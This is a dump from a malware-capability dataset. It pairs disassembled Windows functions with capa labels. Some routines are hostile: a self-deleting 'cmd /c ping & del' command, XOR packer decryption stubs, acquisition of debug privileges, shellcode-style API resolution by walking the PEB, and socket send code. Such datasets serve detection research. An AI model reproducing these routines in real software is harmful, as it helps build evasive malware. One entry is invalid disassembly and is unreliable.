joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401d20
Capabilities:
Check mutex on windows

Disassembly:
sub esp, 0x20
push esi
push 1
lea eax, [esp + 0x14]
push eax
xor esi, esi
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push esi
push esi
push 1
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push str.Global_signature_netsetup
push esi
lea eax, [esp + 0xc]
lea edx, [esp + 0x18]
push eax
mov dword [esp + 0x10], 0xc
mov dword [esp + 0x18], 1
mov dword [esp + 0x14], edx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x401d81
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
mov eax, 1
je 0x401d83
mov eax, esi
pop esi
add esp, 0x20
ret

Function at 0x401d90
Capabilities:
Create process on windows
Self delete

Disassembly:
sub esp, 0x20c
mov eax, dword [0x443064]
xor eax, esp
mov dword [esp + 0x208], eax
push 0x103
lea eax, [esp + 5]
push 0
push eax
mov byte [esp + 0xc], 0
call fcn.00403de0
push 0x103
lea ecx, [esp + 0x115]
push 0
push ecx
mov byte [esp + 0x11c], 0
call fcn.00403de0
add esp, 0x18
push 0x104
lea edx, [esp + 4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp]
push eax
lea ecx, [esp + 0x108]
push str.cmd__c_ping_127.0.0.1__n_3__del___s_
push ecx
call fcn.00402adc
add esp, 0xc
push 0
lea edx, [esp + 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.004027ab
add esp, 0x20c
ret

Function at 0x401e30
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
push edi
xor edi, edi
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push edi
lea ecx, [esp + 0xc]
push ecx
push 0x30c00
mov esi, eax
push 0x40fd28
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401e6d
mov edi, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ecx
ret

Function at 0x401e80
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x58
push esi
push edi
push 0x40
xor esi, esi
lea eax, [esp + 0x20]
push esi
push eax
mov dword [esp + 0x24], 0x44
call fcn.00403de0
mov eax, dword [esp + 0x70]
add esp, 0xc
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x1c]
push edx
push esi
push esi
push 0x8000000
push esi
push esi
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401edc
mov ecx, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
mov esi, 1
call edi
mov edx, dword [esp + 8]
push edx
call edi
pop edi
mov eax, esi
pop esi
add esp, 0x58
ret
Function at 0x4027ab
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x443064]
jne 0x4027b5
repz ret
jmp fcn.004038e5

Function at 0x40af7c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004065a9
xor ebx, ebx
cmp dword [0x444b58], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40b051
push 0x40f1f8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x40afbc
xor eax, eax
jmp 0x40b115
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40afb5
push eax
call fcn.00406546
mov dword [esp], 0x40f1dc
push edi
mov dword [0x444b58], eax
call esi
push eax
call fcn.00406546
mov dword [esp], 0x40f1c8
push edi
mov dword [0x444b5c], eax
call esi
push eax
call fcn.00406546
mov dword [0x444b60], eax
lea eax, [ebp - 8]
push eax
call fcn.0040602f
test eax, eax
pop ecx
pop ecx
je 0x40b01f
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00402e47
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40b051
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00406546
cmp eax, ebx
pop ecx
mov dword [0x444b68], eax
je 0x40b051
push 0x40f194
push edi
call esi
push eax
call fcn.00406546
pop ecx
mov dword [0x444b64], eax
mov eax, dword [0x444b64]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40b0ca
cmp dword [0x444b68], esi
je 0x40b0ca
push eax
call fcn.004065b2
pop ecx
call eax
cmp eax, ebx
je 0x40b097
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x444b68]
call fcn.004065b2
pop ecx
call eax
test eax, eax
je 0x40b097
test byte [ebp - 0x18], 1
jne 0x40b0ca
lea eax, [ebp - 0xc]
push eax
call fcn.00406066
test eax, eax
pop ecx
je 0x40b0b2
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00402e47
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40b0c1
or dword [ebp + 0x10], 0x200000
jmp 0x40b0fb
or dword [ebp + 0x10], 0x40000
jmp 0x40b0fb
mov eax, dword [0x444b5c]
cmp eax, esi
je 0x40b0fb
push eax
call fcn.004065b2
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40b0fb
mov eax, dword [0x444b60]
cmp eax, esi
je 0x40b0fb
push dword [ebp - 4]
push eax
call fcn.004065b2
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x444b58]
call fcn.004065b2
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x7cd241c3
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0xce3a34
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x93d1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.0093d140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.0093d140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.0093d140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.0093d140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x93dbfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x93dc50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x94f87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x93dc43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x93dc52
xor eax, eax
pop esi
leave
ret 4

Function at 0x4153e0
Capabilities:
Encode data using xor

Disassembly:
push esp
adc dword [eax + 0x35], esi
cmp eax, 0xdc30f795
pushfd
and bl, byte [esi + 0x35c6dcf4]
scasb al, byte es:[edi]
or cl, dh
and ah, byte [esi + ebx*2 + 0x490a60b4]
mov ebp, ebx
invalid
Function at 0x4099ec
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409abf
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409ad8
push ebx
push 0x409ae4
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409a6c
mov al, 0x6a
call fcn.00409648
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.004099c0
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a75
call fcn.004099c0
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409ac6
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409b78
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
jmp 0x409c21
cmp dword [esi + 0x10], 0x1000
jne 0x409c0d
test byte [esi + 0x15], 1
jne 0x409c0d
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409bcc
cmp eax, 2
je 0x409bcc
cmp eax, 0x10
je 0x409bcc
cmp eax, 0x20
jne 0x409be1
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409be1
mov bl, 1
xor ebp, ebp
jmp 0x409bf2
mov eax, dword [esi]
add eax, ebp
call fcn.00409b70
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409be5
test bl, bl
je 0x409c0d
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409ba4
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43200c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43201e
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x401039
Capabilities:
Access peb ldr_data
Get kernel32 base address
Resolve function by parsing pe exports

Disassembly:
pushal
mov ebp, esp
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov ebx, dword [eax + 0x10]
mov eax, dword [ebx + 0x3c]
mov edi, dword [ebx + eax + 0x78]
add edi, ebx
mov ecx, dword [edi + 0x18]
mov eax, dword [edi + 0x20]
add eax, ebx
mov dword [ebp - 4], eax
jecxz 0x40109b
dec ecx
mov eax, dword [ebp - 4]
mov esi, dword [eax + ecx*4]
add esi, ebx
xor eax, eax
cdq
cld
lodsb al, byte [esi]
test al, al
je 0x40107e
ror edx, 0xd
add edx, eax
jmp 0x401072
cmp edx, dword [esp + 0x24]
jne 0x401063
mov edx, dword [edi + 0x24]
add edx, ebx
mov cx, word [edx + ecx*2]
mov edx, dword [edi + 0x1c]
add edx, ebx
mov eax, dword [edx + ecx*4]
add eax, ebx
mov dword [esp + 0x1c], eax
mov esp, ebp
popal
ret
Function at 0x401f20
Capabilities:
Encode data using xor

Disassembly:
push edi
mov edi, ecx
mov ecx, dword [esp + 0xc]
test ecx, ecx
jle 0x401f8e
xor eax, eax
test ecx, ecx
jle 0x401f8e
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
push ebx
push ebp
movzx ebp, byte [esp + 0x10]
shl ebp, 1
sub ecx, edx
push esi
mov dword [esp + 0x14], ecx
lea esp, [esp]
mov ecx, dword [esp + 0x20]
mov edx, dword [edi + 4]
lea esi, [eax + ecx]
mov ecx, eax
and ecx, 0xff
shl ecx, 1
mov ebx, edx
sub ebx, ecx
movzx ecx, byte [edi + 8]
mov bl, byte [ebx + 0x1ff]
xor bl, byte [edx + ecx*2]
mov ecx, dword [esp + 0x14]
xor bl, byte [ecx + esi]
xor bl, byte [edx + ebp + 1]
mov ecx, dword [esp + 0x18]
inc eax
cmp eax, ecx
mov byte [esi], bl
jl 0x401f50
pop esi
pop ebp
pop ebx
pop edi
ret 0x10

Function at 0x403b40
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
jne 0x403b59
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.kernel32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x403b6d
pop esi
pop edi
xor eax, eax
pop ebx
ret
push edi
push ebx
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x403b8e
cmp esi, eax
jae 0x403b67
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x403b80
cmp esi, eax
jae 0x403b67
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x403fd0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x190
push esi
lea eax, [esp + 4]
push eax
push 0x202
mov esi, ecx
call sub.wsock32.dll_WSAStartup
mov cx, word [esp + 4]
cmp cl, 2
jne 0x40412f
cmp ch, cl
jne 0x40412f
test eax, eax
jne 0x40412f
push ebx
lea ebx, [esi + 0xa0]
push ebx
call sub.wsock32.dll_gethostbyname
test eax, eax
jne 0x404034
push eax
push 0x40000
push 0x41f9a0
call fcn.0041ad6c
pop ebx
xor eax, eax
pop esi
add esp, 0x190
ret 4
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call sub.wsock32.dll_inet_ntoa
mov edx, ebx
mov cl, byte [eax]
inc eax
mov byte [edx], cl
inc edx
test cl, cl
jne 0x404043
push 0
push 1
push 2
call sub.wsock32.dll_socket
cmp eax, 0xffffffff
mov dword [esi + 0xd084], eax
jne 0x404089
push 0
push 0x40000
push 0x12
mov ecx, 0x428a2c
call fcn.00403420
push eax
call fcn.0041ad6c
pop ebx
xor eax, eax
pop esi
add esp, 0x190
ret 4
push edi
lea edi, [esi + 0xd088]
push ebx
mov word [edi], 2
call sub.wsock32.dll_inet_addr
xor ecx, ecx
mov cx, word [esi + 0x104]
mov dword [esi + 0xd08c], eax
push ecx
call sub.wsock32.dll_htons
mov edx, dword [esp + 0x1a0]
push 0x10
push 0x40a
mov word [esi + 0xd08a], ax
mov eax, dword [esi + 0xd084]
push edx
push eax
call sub.wsock32.dll_WSAAsyncSelect
cmp eax, 0xffffffff
jne 0x4040fe
push 0
push 0x40000
push 0x13
mov ecx, 0x428a2c
call fcn.00403420
push eax
call fcn.0041ad6c
pop edi
pop ebx
xor eax, eax
pop esi
add esp, 0x190
ret 4
mov ecx, dword [esi + 0xd084]
push 0x10
push edi
push ecx
call sub.wsock32.dll_connect
cmp eax, 0xffffffff
jne 0x40411e
call sub.wsock32.dll_WSAGetLastError
cmp eax, 0x2733
jne 0x4040d7
pop edi
pop ebx
mov eax, 1
pop esi
add esp, 0x190
ret 4
push 0
push 0x40000
push 0x11
mov ecx, 0x428a2c
call fcn.00403420
push eax
call fcn.0041ad6c
xor eax, eax
pop esi
add esp, 0x190
ret 4

Function at 0x404250
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
call fcn.0040925d
and eax, 0x800000ff
jns 0x404268
dec eax
or eax, 0xffffff00
inc eax
mov esi, dword [esp + 0x10]
push eax
mov ecx, esi
call fcn.00402000
mov ecx, esi
call fcn.00402010
mov ecx, esi
call fcn.00401ff0
push eax
mov ecx, esi
call fcn.00401ff0
xor ecx, ecx
mov cl, byte [esi + 6]
push eax
movzx eax, word [esi + 4]
push eax
push ecx
mov ecx, 0x428a3c
call fcn.00401f20
movzx eax, word [esi + 4]
lea edx, [eax + 3]
xor edi, edi
test edx, edx
jle 0x404310
lea ecx, [ecx]
mov ecx, dword [ebx + 0xd084]
sub eax, edi
push 0
add eax, 3
push eax
lea eax, [esi + edi + 7]
push eax
push ecx
call sub.wsock32.dll_send
test eax, eax
jge 0x404303
call sub.wsock32.dll_WSAGetLastError
cmp eax, 0x2733
je 0x404305
push 0
push 0x40000
push 0x13
mov ecx, 0x428a2c
call fcn.00403420
push eax
call fcn.0041ad6c
pop edi
pop esi
pop ebx
mov dword [esp + 4], 0
jmp dword [sym.imp.user32.dll_PostQuitMessage]
add edi, eax
movzx eax, word [esi + 4]
lea edx, [eax + 3]
cmp edi, edx
jl 0x4042b0
pop edi
pop esi
pop ebx
ret 4
Function at 0x404650
Capabilities:
Set current directory

Disassembly:
mov edx, ecx
mov dword [edx + 0xd084], 0xffffffff
xor eax, eax
push ebx
xor ebx, ebx
mov byte [edx + 0x94], bl
mov dword [edx + 0x98], ebx
mov dword [edx + 0x9c], ebx
push esi
push edi
lea edi, [edx + 0xa0]
mov ecx, 0x19
rep stosd dword es:[edi], eax
mov dword [edx + 0x104], ebx
mov byte [edx + 0x108], bl
mov byte [edx + 0x109], bl
mov dword [edx + 0x110], ebx
mov eax, 1
mov dword [edx + 0x10c], eax
mov dword [edx + 0x26c], eax
xor eax, eax
lea ecx, [edx + 0x114]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
mov byte [ecx + 0x14], al
lea ecx, [edx + 0x129]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
mov byte [ecx + 0x14], al
lea ecx, [edx + 0x13e]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
mov byte [ecx + 0x14], al
lea ecx, [edx + 0x153]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
mov byte [ecx + 0x14], al
lea edi, [edx + 0x168]
mov ecx, 0x41
rep stosd dword es:[edi], eax
lea edi, [edx + 0xce78]
mov ecx, 0x41
rep stosd dword es:[edi], eax
lea edi, [edx + 0xcf7c]
mov ecx, 0x41
rep stosd dword es:[edi], eax
mov eax, dword [edx + 0x1c]
mov dword [edx + 0x90], eax
mov byte [edx + 0xd080], bl
xor eax, eax
lea ecx, [edx + 0xce70]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov byte [ecx + 0x10], al
push 0x200
lea esi, [edx + 0xd4b0]
lea edi, [edx + 0xced4]
push esi
mov ecx, 0x19
rep stosd dword es:[edi], eax
push ebx
mov dword [edx + 0xcf38], ebx
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
push 0x5c
push esi
call fcn.00409450
add esp, 8
push esi
mov byte [eax + 1], bl
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
pop edi
pop esi
pop ebx
ret
Function at 0x404980
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x41da98
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov dword [esp], ecx
push ebx
lea ecx, [esp + 8]
call fcn.00401000
push 0xfa
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 0
call fcn.00401f10
push 0x41f964
push 0x41fae0
call fcn.004091ae
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x4049f6
lea ecx, [esp + 8]
mov dword [esp + 0x1c], 0xffffffff
call fcn.00401ef0
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
add esp, 0x1c
ret
mov eax, dword [ebx + 0x10]
push ebp
push esi
push edi
push eax
call fcn.0040907e
mov esi, eax
lea edi, [esi + 1]
push edi
call fcn.00414431
add esp, 8
mov ebp, eax
call fcn.0041c9e1
mov eax, dword [eax + 4]
mov dword [eax + 0x44], ebp
call fcn.0041c9e1
mov edx, dword [eax + 4]
mov ecx, edi
mov edi, dword [edx + 0x44]
mov edx, ecx
shr ecx, 2
xor eax, eax
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
call fcn.0041c9e1
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x44]
push ebx
push 1
push esi
push eax
call fcn.00409032
add esp, 0x10
call fcn.0041c9e1
mov edi, dword [eax + 4]
call fcn.0041c9e1
mov ecx, dword [edi + 0x44]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x44]
push ecx
push edx
push esi
push 0x7b
lea ecx, [esp + 0x24]
call fcn.00401f20
call fcn.0041c9e1
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x44]
mov byte [esi + eax], 0
call fcn.0041c9e1
mov eax, dword [eax + 4]
mov ecx, dword [eax + 0x44]
push 0
push 0
push ecx
mov ecx, dword [esp + 0x1c]
call fcn.004167b8
push ebx
call fcn.00408ef8
add esp, 4
push 0x41fae0
call dword [sym.imp.kernel32.dll_DeleteFileA]
lea ecx, [esp + 0x14]
mov dword [esp + 0x28], 0xffffffff
call fcn.00401ef0
mov ecx, dword [esp + 0x20]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret
Function at 0x405690
Capabilities:
Check os version
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2d8
push esi
push edi
mov esi, ecx
xor eax, eax
mov byte [esp + 0xe0], 0
mov ecx, 0x7f
lea edi, [esp + 0xe1]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esi + 0xd74c]
lea edi, [esi + 0xd74c]
push eax
call fcn.00413d0b
push eax
push 0x41fc88
push edi
call fcn.00405670
mov eax, dword [edi]
fld dword [esi + 0x9c]
movzx ecx, byte [esi + 0x108]
mov edx, dword [esi + 0x10c]
add esp, 0x10
push eax
mov eax, dword [esi + 0x26c]
push ecx
push edx
push eax
lea ecx, [esi + 0x153]
push ecx
mov ecx, dword [esi + 0x104]
lea edx, [esi + 0x13e]
push edx
lea eax, [esi + 0x129]
push eax
movzx eax, byte [esi + 0x94]
push ecx
lea edx, [esi + 0xa0]
push edx
sub esp, 0x10
lea ecx, [esp + 0x114]
fstp qword [esp + 8]
fld dword [esi + 0x98]
fstp qword [esp]
push eax
push 0x41fc64
push ecx
call fcn.00408c4f
add esp, 0x40
xor eax, eax
lea edx, [esp + 0x48]
mov ecx, 0x24
lea edi, [esp + 0x4c]
rep stosd dword es:[edi], eax
push edx
mov dword [esp + 0x4c], 0x94
call dword [sym.imp.kernel32.dll_GetVersionExA]
xor eax, eax
mov ecx, 0xe
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
cmp dword [esp + 0x4c], 6
mov dword [esp + 0xc], 0x3c
jne 0x4057bb
lea ecx, [esp + 0xc]
lea eax, [esp + 0xe0]
push ecx
mov dword [esp + 0x1c], 0x41fc5c
mov dword [esp + 0x20], 0x41fc4c
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], 1
call dword [sym.imp.shell32.dll_ShellExecuteExA]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x90]
push 1
push 0
lea edx, [esp + 0xe8]
push edx
push 0x41fc4c
push 0x41fc44
push eax
call dword [sym.imp.shell32.dll_ShellExecuteA]
pop edi
pop esi
mov esp, ebp
pop ebp
ret